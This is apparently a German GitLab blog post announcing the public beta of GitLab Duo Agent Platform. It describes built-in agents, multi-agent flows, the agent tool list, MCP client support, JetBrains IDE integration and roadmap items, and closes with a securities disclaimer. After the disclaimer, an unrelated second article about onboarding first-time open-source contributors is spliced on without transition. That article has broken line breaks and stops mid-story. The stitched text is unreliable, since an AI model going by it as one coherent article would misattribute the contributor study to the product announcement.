<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101993507?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab Agent Platform Beta Launch_071625_MP_v2"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

GitLabs einzigartige Position als Orchestrierungsplattform

GitLab steht im Mittelpunkt des Entwicklungslebenszyklus als System of Record für Engineering-Teams und orchestriert die gesamte Reise vom Konzept zur Produktion für über 50 Millionen registrierte Nutzer(innen), einschließlich der Hälfte der Fortune 500 über alle Geografien hinweg. Dies umfasst über 10.000 zahlende Kund(inn)en in allen Segmenten und Branchen, einschließlich öffentlicher Institutionen.

Dies gibt GitLab etwas, was kein Wettbewerber bieten kann: ein umfassendes Verständnis von allem, was es braucht, um Software zu liefern. Wir bringen deine Projektpläne, Code, Testläufe, Sicherheitsscans, Compliance-Prüfungen und CI/CD-Konfigurationen zusammen, um nicht nur dein Team zu unterstützen, sondern auch die Zusammenarbeit mit KI-Agenten zu orchestrieren, die du kontrollierst.

Als intelligente, einheitliche DevSecOps-Plattform speichert GitLab den gesamten Kontext deiner Software-Engineering-Praxis an einem Ort. Wir werden diese einheitlichen Daten über unseren Knowledge Graph KI-Agenten zugänglich machen. Jeder Agent, den wir erstellen, hat automatischen Zugriff auf diesen SDLC-verbundenen Datensatz und bietet einen reichhaltigen Kontext, sodass Agenten fundierte Empfehlungen abgeben und Maßnahmen ergreifen können, die deinen organisatorischen Standards entsprechen.

Hier ist ein Beispiel für diesen Vorteil in Aktion. Hast du jemals versucht herauszufinden, wie genau ein Projekt über Dutzende, wenn nicht Hunderte von Stories und Issues verläuft, die von allen beteiligten Entwickler(inne)n bearbeitet werden? Unser Deep Research Agent nutzt den GitLab Knowledge Graph und semantische Suchfunktionen, um dein Epic und alle damit verbundenen Issues zu durchsuchen, die zugehörige Codebasis und den umgebenden Kontext zu erkunden. Er korreliert schnell Informationen über deine Repositories, Merge Requests und Deployment-Historie hinweg. Dies liefert kritische Einblicke, die eigenständige Tools nicht bieten können und die menschliche Entwickler(innen) Stunden kosten würden, um sie zu entdecken.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101998114?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Deep Research Demo_071625_MP_v1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Unsere strategische Entwicklung von KI-Features zur Agenten-Orchestrierung

GitLab Duo begann als Add-on, das generative KI zu Entwickler(inne)n über Duo Pro und Enterprise brachte. Mit GitLab 18.0 ist es jetzt in die Plattform integriert. Wir haben Duo Agentic Chat und Code Suggestions für alle Premium- und Ultimate-Nutzer(innen) freigeschaltet, und jetzt bieten wir sofortigen Zugang zu Duo Agent Platform.

Wir haben die Engineering-Investitionen erhöht und beschleunigen die Bereitstellung, wobei jeden Monat leistungsstarke neue KI-Features landen. Aber wir bauen nicht nur einen weiteren Coding-Assistenten. GitLab Duo wird zu einer Agenten-Orchestrierungsplattform, auf der du KI-Agenten erstellen, anpassen und bereitstellen kannst, die an deiner Seite arbeiten und problemlos mit anderen Systemen interoperieren, was die Produktivität dramatisch steigert.

„GitLab Duo Agent Platform verbessert unseren Entwicklungsworkflow mit KI, die unsere Codebasis und unsere Organisation wirklich versteht. GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten sind zu echten Mitarbeitern unserer Teams geworden, und ihre Fähigkeit, Absichten zu verstehen, Probleme zu zerlegen und Maßnahmen zu ergreifen, befreit unsere Entwickler(innen), sich den aufregenden, innovativen Arbeiten zu widmen, die sie lieben." - Bal Kang, Engineering Platform Lead bei NatWest

Agenten, die sofort funktionieren

Wir führen Agenten ein, die vertraute Teamrollen widerspiegeln. Diese Agenten können in GitLab suchen, lesen, erstellen und vorhandene Artefakte ändern. Denk an diese als Agenten, mit denen du einzeln interagieren kannst, die auch als Bausteine fungieren, die du anpassen kannst, um deine eigenen Agenten zu erstellen. Wie deine Teammitglieder haben Agenten definierte Spezialisierungen, wie Softwareentwicklung, Testen oder technisches Schreiben. Als Spezialisten nutzen sie den richtigen Kontext und die richtigen Tools, um konsequent die gleichen Arten von Aufgaben zu erledigen, wo immer sie eingesetzt werden.

Hier sind einige der Agenten, die wir heute bauen:

• Chat-Agent (jetzt in Beta): Nimmt Anfragen in natürlicher Sprache entgegen, um dem Nutzer Informationen und Kontext bereitzustellen. Kann allgemeine Entwicklungsaufgaben ausführen, wie das Lesen von Issues oder Code-Diffs. Als Beispiel kannst du Chat bitten, einen fehlgeschlagenen Job zu debuggen, indem du die Job-URL bereitstellst.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101953504?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-chat-in-web-ui-demo_Update V1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Software-Entwickler-Agent (jetzt in Beta): Arbeitet an zugewiesenen Elementen, indem er Code-Änderungen in virtuellen Entwicklungsumgebungen erstellt und Merge Requests zur Überprüfung öffnet.
• Produktplanungs-Agent: Priorisiert Produkt-Backlogs, weist Arbeitselemente menschlichen und agentischen Teammitgliedern zu und liefert Projekt-Updates über festgelegte Zeiträume.
• Software-Test-Ingenieur-Agent: Testet neue Code-Beiträge auf Bugs und validiert, ob gemeldete Probleme gelöst wurden.
• Code-Review-Agent: Führt Code-Reviews nach Teamstandards durch, identifiziert Qualitäts- und Sicherheitsprobleme und kann Code mergen, wenn er bereit ist.
• Plattform-Ingenieur-Agent: Überwacht GitLab-Deployments, einschließlich GitLab Runners, verfolgt die CI/CD-Pipeline-Gesundheit und meldet Performance-Probleme an menschliche Plattform-Engineering-Teams.
• Sicherheitsanalyse-Agent: Findet Schwachstellen in Codebasen und bereitgestellten Anwendungen und implementiert Code- und Konfigurationsänderungen, um Sicherheitsschwächen zu beheben.
• Deployment-Ingenieur-Agent: Stellt Updates in der Produktion bereit, überwacht ungewöhnliches Verhalten und macht Änderungen rückgängig, die sich auf die Anwendungsleistung oder -sicherheit auswirken.
• Deep-Research-Agent: Führt umfassende, quellenübergreifende Analysen über dein gesamtes Entwicklungsökosystem durch.

Was diese Agenten leistungsstark macht, ist ihr nativer Zugriff auf GitLabs umfassendes Toolkit. Heute haben wir über 25 Tools, von Issues und Epics bis zu Merge Requests und Dokumentation, mit mehr in Sicht. Im Gegensatz zu externen KI-Tools, die mit begrenztem Kontext arbeiten, arbeiten unsere Agenten als echte Teammitglieder mit vollständigen Plattformberechtigungen unter deiner Aufsicht.

In den kommenden Monaten wirst du auch in der Lage sein, diese Agenten zu modifizieren, um den Bedürfnissen deiner Organisation gerecht zu werden. Zum Beispiel wirst du spezifizieren können, dass ein Software-Test-Ingenieur-Agent Best Practices für ein bestimmtes Framework oder eine bestimmte Methodik befolgt, seine Spezialisierung vertieft und ihn zu einem noch wertvolleren Teammitglied macht.

Flows orchestrieren komplexe Agenten-Aufgaben

Zusätzlich zu einzelnen Agenten führen wir Agenten-Flows ein. Betrachte diese als komplexere Workflows, die mehrere Agenten mit vorgefertigten Anweisungen, Schritten und Aktionen für eine bestimmte Aufgabe umfassen können, die autonom ausgeführt werden kann.

Während du Flows für grundlegende Aufgaben erstellen kannst, die für Einzelpersonen üblich sind, brillieren sie wirklich, wenn sie auf komplexe, spezialisierte Aufgaben angewendet werden, die normalerweise Stunden an Koordination und Aufwand erfordern würden. Flows helfen dir, komplexe Aufgaben schneller zu erledigen und in vielen Fällen asynchron ohne menschliche Intervention.

Flows haben spezifische Trigger für die Ausführung. Jeder Flow enthält eine Reihe von Schritten, und jeder Schritt hat detaillierte Anweisungen, die einem spezialisierten Agenten sagen, was zu tun ist. Dieser granulare Ansatz ermöglicht es dir, den Agenten im Flow präzise Anweisungen zu geben. Durch die Definition von Anweisungen mit mehr Details und die Einrichtung strukturierter Entscheidungspunkte können Flows helfen, die inhärente Variabilität in KI-Antworten zu lösen und gleichzeitig die Notwendigkeit zu eliminieren, wiederholt die gleichen Anforderungen zu spezifizieren, was konsistentere und vorhersagbarere Ergebnisse ohne Benutzerkonfiguration freischaltet.

Hier sind einige Beispiele für sofort einsatzbereite Flows, die wir bauen:

Software-Entwicklungs-Flow (jetzt in Beta): Orchestriert mehrere Agenten, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen, und hilft dabei zu transformieren, wie Teams Features vom Konzept zur Produktion liefern.

Issue-to-MR-Flow: Konvertiert automatisch Issues in umsetzbare Merge Requests, indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und Code zu generieren.

CI-Datei-Konvertierungs-Flow: Vereinfacht Migrations-Workflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101941425?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="jenkins-to-gitlab-cicd-for-blog"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

Such- und Ersetzungs-Flow: Entdeckt und transformiert Code-Muster über Codebasen hinweg, indem Projektstrukturen systematisch analysiert, Optimierungsmöglichkeiten identifiziert und präzise Ersetzungen ausgeführt werden.

Incident-Response- und Root-Cause-Analyse-Flow: Orchestriert die Incident-Response durch Korrelation von Systemdaten, Koordination spezialisierter Agenten für die Root-Cause-Analyse und Ausführung genehmigter Abhilfemaßnahmen, während menschliche Stakeholder während des gesamten Lösungsprozesses informiert bleiben.

Hier verfolgt GitLab Duo Agent Platform einen wirklich einzigartigen Ansatz im Vergleich zu anderen KI-Lösungen. Wir geben dir nicht nur vorgefertigte Agenten. Wir geben dir auch die Möglichkeit, Agenten-Flows zu erstellen, anzupassen und zu teilen, die perfekt zu deinen individuellen und organisatorischen Bedürfnissen passen. Und mit Flows kannst du dann Agenten einen spezifischen Ausführungsplan für allgemeine und komplexe Aufgaben geben.

Wir glauben, dass dieser Ansatz leistungsstärker ist als spezialisierte Agenten zu bauen, wie es unsere Wettbewerber tun, denn jede Organisation hat unterschiedliche Workflows, Codierungsstandards, Sicherheitsanforderungen und Geschäftslogik. Generische KI-Tools können deinen spezifischen Kontext nicht verstehen, aber GitLab Duo Agent Platform wird so angepasst werden können, dass sie genau so funktioniert, wie dein Team arbeitet.

Warum Agenten und Agenten-Flows in GitLab Duo Agent Platform bauen?

Es geht schnell. Du kannst Agenten und komplexe Agenten-Flows in Duo Agent Platform schnell und einfach mit einem schnellen, deklarativen Erweiterbarkeitsmodell und UI-Unterstützung erstellen.

Integrierte Rechenleistung. Mit Duo Agent Platform musst du dich nicht mehr um den Aufwand kümmern, deine eigene Infrastruktur für Agenten aufzubauen: Rechenleistung, Netzwerk und Speicher sind alle integriert.

SDLC-Events. Deine Agenten können automatisch bei gängigen Ereignissen aufgerufen werden: defekte Pipeline, fehlgeschlagenes Deployment, erstelltes Issue usw.

Sofortiger Zugriff. Du kannst mit deinen Agenten überall in GitLab oder unserem IDE-Plugin interagieren: weise ihnen Issues zu, @erwähne sie in Kommentaren und chatte mit ihnen überall, wo Duo Chat verfügbar ist.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1102029239?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="assigning an agent an issue"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

Unterstützung integrierter und benutzerdefinierter Modelle. Deine Agenten haben automatischen Zugriff auf alle von uns unterstützten Modelle, und Nutzer(innen) können spezifische Modelle für spezifische Aufgaben auswählen. Wenn du Duo Agent Platform mit deinem eigenen selbst gehosteten Modell verbinden möchtest, kannst du das auch tun!

Model Context Protocol (MCP) Endpunkte. Jeder Agent und Flow kann über native MCP-Endpunkte aufgerufen oder ausgelöst werden, sodass du dich von überall aus mit deinen Agenten und Flows verbinden und zusammenarbeiten kannst, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf.

Observability und Sicherheit. Schließlich bieten wir integrierte Observability und Nutzungs-Dashboards, damit du genau sehen kannst, wer, wo, was und wann Agenten in deinem Namen Aktionen durchgeführt haben.

Eine von der Community getriebene Zukunft

Community-Beiträge haben lange Zeit GitLabs Innovation und Softwareentwicklung angetrieben. Wir freuen uns, mit unserer Community bei der Einführung des KI-Katalogs zusammenzuarbeiten. Der KI-Katalog ermöglicht es dir, Agenten und Flows innerhalb deiner Organisation und im gesamten GitLab-Ökosystem in unserer kommenden Beta zu erstellen und zu teilen.

Wir glauben, dass die wertvollsten KI-Anwendungen wahrscheinlich von dir, unserer Community, entstehen werden, dank deiner täglichen Anwendung von GitLab Duo Agent Platform zur Lösung zahlreicher realer Anwendungsfälle. Durch die Ermöglichung des nahtlosen Teilens von Agenten und Flows schaffen wir einen Netzwerkeffekt, bei dem jeder Beitrag die kollektive Intelligenz und den Wert der Plattform erhöht. Im Laufe der Zeit glauben wir, dass die wertvollsten Anwendungsfälle von Agent Platform aus unserer florierenden GitLab-Community kommen werden.

Heute verfügbar in GitLab Duo Agent Platform in Public Beta

Die Public Beta von GitLab Duo Agent Platform ist jetzt für Premium- und Ultimate-Kund(inn)en mit diesen Funktionen verfügbar:

Software-Entwicklungs-Flow: Unser erster Flow orchestriert Agenten beim Sammeln umfassenden Kontexts, beim Klären von Unklarheiten mit menschlichen Entwickler(inne)n und beim Ausführen strategischer Pläne, um präzise Änderungen an deiner Codebasis und deinem Repository vorzunehmen. Er nutzt dein gesamtes Projekt, einschließlich seiner Struktur, Codebasis und Historie, zusammen mit zusätzlichem Kontext wie GitLab-Issues oder Merge Requests, um die Produktivität der Entwickler(innen) zu steigern.

Neue verfügbare Agenten-Tools: Agenten haben jetzt Zugriff auf mehrere Tools, um ihre Arbeit zu erledigen, darunter:

• Dateisystem (Lesen, Erstellen, Bearbeiten, Dateien finden, Auflisten, Grep)
• Befehlszeile ausführen*
• Issues (Auflisten, Abrufen, Kommentare abrufen, Bearbeiten*, Erstellen*, Kommentare hinzufügen/aktualisieren*)
• Epics (Abrufen, Kommentare abrufen)
• MR (Abrufen, Kommentare abrufen, Diff abrufen, Erstellen, Aktualisieren)
• Pipeline (Job-Logs, Pipeline-Fehler)
• Projekt (Abrufen, Datei abrufen)
• Commits (Abrufen, Auflisten, Kommentare abrufen, Diff abrufen)
• Suche (Issue-Suche)
• Secure (Schwachstellen auflisten)
• Dokumentationssuche *=Erfordert Benutzergenehmigung

GitLab Duo Agentic Chat in der IDE: Duo Agentic Chat verwandelt die Chat-Erfahrung von einem passiven Q&A-Tool in einen aktiven Entwicklungspartner direkt in deiner IDE.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101953477?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-ai-launch-video_Updated V1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Iteratives Feedback und Chat-Verlauf: Duo Agentic Chat unterstützt jetzt Chat-Verlauf und iteratives Feedback und verwandelt den Agenten in einen zustandsbehafteten, gesprächsfähigen Partner. Dies fördert Vertrauen und ermöglicht es Entwickler(inne)n, komplexere Aufgaben zu delegieren und korrigierende Anleitung zu bieten.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743173?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-chat-history"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Optimierte Delegation mit Slash-Befehlen: Erweiterte, leistungsstärkere Slash-Befehle wie /explain, /tests und /include erstellen eine „Delegationssprache" für schnelle und präzise Absichten. Der /include-Befehl ermöglicht die explizite Injektion von Kontext aus bestimmten Dateien, offenen Issues, Merge Requests oder Abhängigkeiten direkt in den Arbeitsspeicher des Agenten, macht den Agenten leistungsfähiger und lehrt Nutzer(innen), wie sie optimalen Kontext für qualitativ hochwertige Antworten bereitstellen.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743187?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="include-agentic-chat-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Personalisierung durch benutzerdefinierte Regeln: Neue benutzerdefinierte Regeln ermöglichen es Entwickler(inne)n, das Agentenverhalten an individuelle und Teampräferenzen anzupassen, indem sie natürliche Sprache verwenden, zum Beispiel Entwicklungs-Styleguides. Dieser grundlegende Mechanismus formt die Persönlichkeit des Agenten zu einem personalisierten Assistenten und entwickelt sich zu spezialisierten Agenten basierend auf benutzerdefinierten Präferenzen und organisatorischen Richtlinien.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743179?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="custom-rules-with-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Unterstützung für GitLab Duo Agentic Chat in JetBrains IDE: Um Entwickler(innen) dort zu treffen, wo sie arbeiten, haben wir die Unterstützung von Duo Agentic Chat auf die JetBrains-Familie von IDEs erweitert, einschließlich IntelliJ, PyCharm, GoLand und Webstorm. Dies ergänzt unsere bestehende Unterstützung für VS Code. Bestehende Nutzer(innen) erhalten automatisch agentische Funktionen, während neue Nutzer(innen) das Plugin vom JetBrains Marketplace installieren können.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743193?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="jetbrains-support-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• MCP-Client-Unterstützung: Duo Agentic Chat kann jetzt als MCP-Client fungieren und sich mit remote und lokal laufenden MCP-Servern verbinden.

Diese Fähigkeit ermöglicht es dem Agenten, sich mit Systemen jenseits von GitLab wie Jira, ServiceNow und ZenDesk zu verbinden, um Kontext zu sammeln oder Aktionen durchzuführen. Jeder Service, der sich über MCP exponiert, kann jetzt Teil des Skillsets des Agenten werden. Der offizielle GitLab MCP-Server kommt bald!

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743202?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="McpDemo"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• GitLab Duo Agentic Chat in der GitLab Web-UI. Duo Agentic Chat ist jetzt auch direkt in der GitLab Web-UI verfügbar. Dieser entscheidende Schritt entwickelt den Agenten von einem Coding-Assistenten zu einem echten DevSecOps-Agenten, da er Zugriff auf reichhaltigen Nicht-Code-Kontext erhält, wie Issues und Merge-Request-Diskussionen, was es ihm ermöglicht, das „Warum" hinter der Arbeit zu verstehen. Über das Verständnis des Kontexts hinaus kann der Agent Änderungen direkt aus der Web-UI vornehmen, wie z.B. automatisch Issue-Status aktualisieren oder Merge-Request-Beschreibungen bearbeiten.

Bald verfügbar in GitLab Duo Agent Platform

In den kommenden Wochen werden wir neue Funktionen für Duo Agent Platform veröffentlichen, einschließlich weiterer sofort einsatzbereiter Agenten und Flows. Diese werden die Plattform in die GitLab-Erfahrung bringen, die du heute liebst, und noch größere Anpassung und Erweiterbarkeit ermöglichen, was die Produktivität für unsere Kund(inn)en verstärkt:

• Integrierte GitLab-Erfahrung: Aufbauend auf den in 18.2 verfügbaren IDE-Erweiterungen erweitern wir Agenten und Flows innerhalb der GitLab-Plattform. Diese tiefere Integration wird die Möglichkeiten erweitern, wie du synchron und asynchron mit Agenten zusammenarbeiten kannst. Du wirst in der Lage sein, Issues direkt an Agenten zuzuweisen, sie in GitLab Duo Chat zu @erwähnen und sie nahtlos von überall in der Anwendung aufzurufen, während die MCP-Konnektivität von deinem bevorzugten Entwicklungstool beibehalten wird. Diese native Integration verwandelt Agenten in echte Entwicklungsteammitglieder, die in ganz GitLab zugänglich sind.
• Agenten-Observability: Da Agenten autonomer werden, bauen wir umfassende Sichtbarkeit in ihre Aktivität auf, während sie durch Flows fortschreiten, was es dir ermöglicht, ihre Entscheidungsprozesse zu überwachen, Ausführungsschritte zu verfolgen und zu verstehen, wie sie deine Entwicklungsherausforderungen interpretieren und darauf reagieren. Diese Transparenz im Agentenverhalten schafft Vertrauen und Zuversicht, während es dir ermöglicht, Workflows zu optimieren, Engpässe zu identifizieren und sicherzustellen, dass Agenten genau wie beabsichtigt funktionieren.
• KI-Katalog: In Anerkennung der Tatsache, dass großartige Lösungen aus Community-Innovation entstehen, werden wir bald die Public Beta unseres KI-Katalogs einführen - ein Marktplatz, der es dir ermöglicht, Duo Agent Platform mit spezialisierten Agenten und Flows zu erweitern, die von GitLab und im Laufe der Zeit von der breiteren Community stammen. Du wirst in der Lage sein, diese Lösungen schnell in GitLab bereitzustellen und dabei den Kontext über deine Projekte und Codebasis hinweg zu nutzen.
• Knowledge Graph: Unter Nutzung von GitLabs einzigartigem Vorteil als System of Record für Quellcode und seinen umgebenden Kontext bauen wir einen umfassenden Knowledge Graph auf, der nicht nur Dateien und Abhängigkeiten über die Codebasis hinweg abbildet, sondern diese Karte auch für Nutzer(innen) navigierbar macht, während KI-Abfragezeiten beschleunigt und die Genauigkeit erhöht wird. Diese Grundlage ermöglicht es GitLab Duo-Agenten, Beziehungen über deine gesamte Entwicklungsumgebung hinweg schnell zu verstehen, von Code-Abhängigkeiten bis zu Deployment-Mustern, und ermöglicht schnellere und präzisere Antworten auf komplexe Fragen.

• Agenten und Flows erstellen und bearbeiten: Im Verständnis, dass jede Organisation einzigartige Workflows und Anforderungen hat, entwickeln wir leistungsstarke Funktionen zur Erstellung und Bearbeitung von Agenten und Flows, die eingeführt werden, wenn der KI-Katalog reift. Du wirst in der Lage sein, Agenten und Flows zu erstellen und zu modifizieren, damit sie genau so funktionieren, wie deine Organisation arbeitet, und eine tiefe Anpassung über Duo Agent Platform hinweg liefern, die qualitativ hochwertigere Ergebnisse und erhöhte Produktivität ermöglicht.

• Offizieller GitLab MCP-Server: In der Erkenntnis, dass Entwickler(innen) über mehrere Tools und Umgebungen hinweg arbeiten, bauen wir einen offiziellen GitLab MCP-Server, der es dir ermöglicht, über MCP auf alle deine Agenten und Flows zuzugreifen. Du wirst in der Lage sein, dich mit deinen Agenten und Flows von überall aus zu verbinden und zusammenzuarbeiten, wo MCP unterstützt wird, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf, was eine nahtlose KI-Zusammenarbeit unabhängig von deiner bevorzugten Entwicklungsumgebung ermöglicht.
• GitLab Duo Agent Platform CLI: Unsere kommende CLI ermöglicht es dir, Agenten aufzurufen und Flows auf der Befehlszeile auszulösen, wobei GitLabs reichhaltiger Kontext über den gesamten Software-Entwicklungslebenszyklus genutzt wird - von Code-Repositories und Merge Requests bis zu CI/CD-Pipelines und Issue-Tracking.

Jetzt loslegen

• GitLab Premium- und Ultimate-Kund(inn)en in GitLab.com- und selbstverwalteten Umgebungen, die GitLab 18.2 verwenden, können Duo Agent Platform sofort nutzen (Beta- und experimentelle Funktionen für GitLab Duo müssen aktiviert sein).
• Nutzer(innen) sollten die VS Code-Erweiterung oder das JetBrains IDEs-Plugin herunterladen und unserem Leitfaden zur Verwendung von GitLab Duo Agentic Chat folgen, einschließlich der Duo Chat Slash-Befehle.

Neu bei GitLab? Jeder kann an unserer kommenden (englischsprachigen) Technischen Demo teilnehmen, um GitLab Duo Agent Platform in Aktion zu sehen. Um GitLab Duo Agent Platform selbst praktisch zu erleben, melde dich noch heute für eine kostenlose Testversion an.

<small>Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen" im Sinne von Abschnitt 27A des Securities Act von 1933 in der geänderten Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den in den zukunftsgerichteten Aussagen ausgedrückten oder implizierten zukünftigen Ergebnissen oder Resultaten abweichen.

Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von den in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthaltenen oder betrachteten abweichen, finden sich unter der Überschrift „Risikofaktoren" und an anderer Stelle in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu überarbeiten oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, es sei denn, dies ist gesetzlich vorgeschrieben.</small>

Während unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von GitLabs Mission,

allen das Mitwirken zu ermöglichen, wollten wir es besser machen.

Wir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat

und übertrafen damit erstmals unser Teamziel von 170.

Drei Monate später brachen wir den Rekord erneut mit 192.

So haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.

Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben

2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch.

Wir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.

Die Teilnehmenden sagten uns:

• Die Mitwirkenden-Dokumentation war verwirrend

• Der Einstieg fühlte sich überwältigend an

• Es war nicht klar, wie oder wo man Hilfe finden konnte

Nur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.

Es wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben.

Also haben wir iteriert!

Unser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools

wie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte Onboarding-Lösung zu entwickeln.

2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100 %. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der

Maintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.

Noch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten:

„Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'"

Wir haben persönliches Onboarding mit GitLab aufgebaut

Unsere Lösung begann mit Engagement.

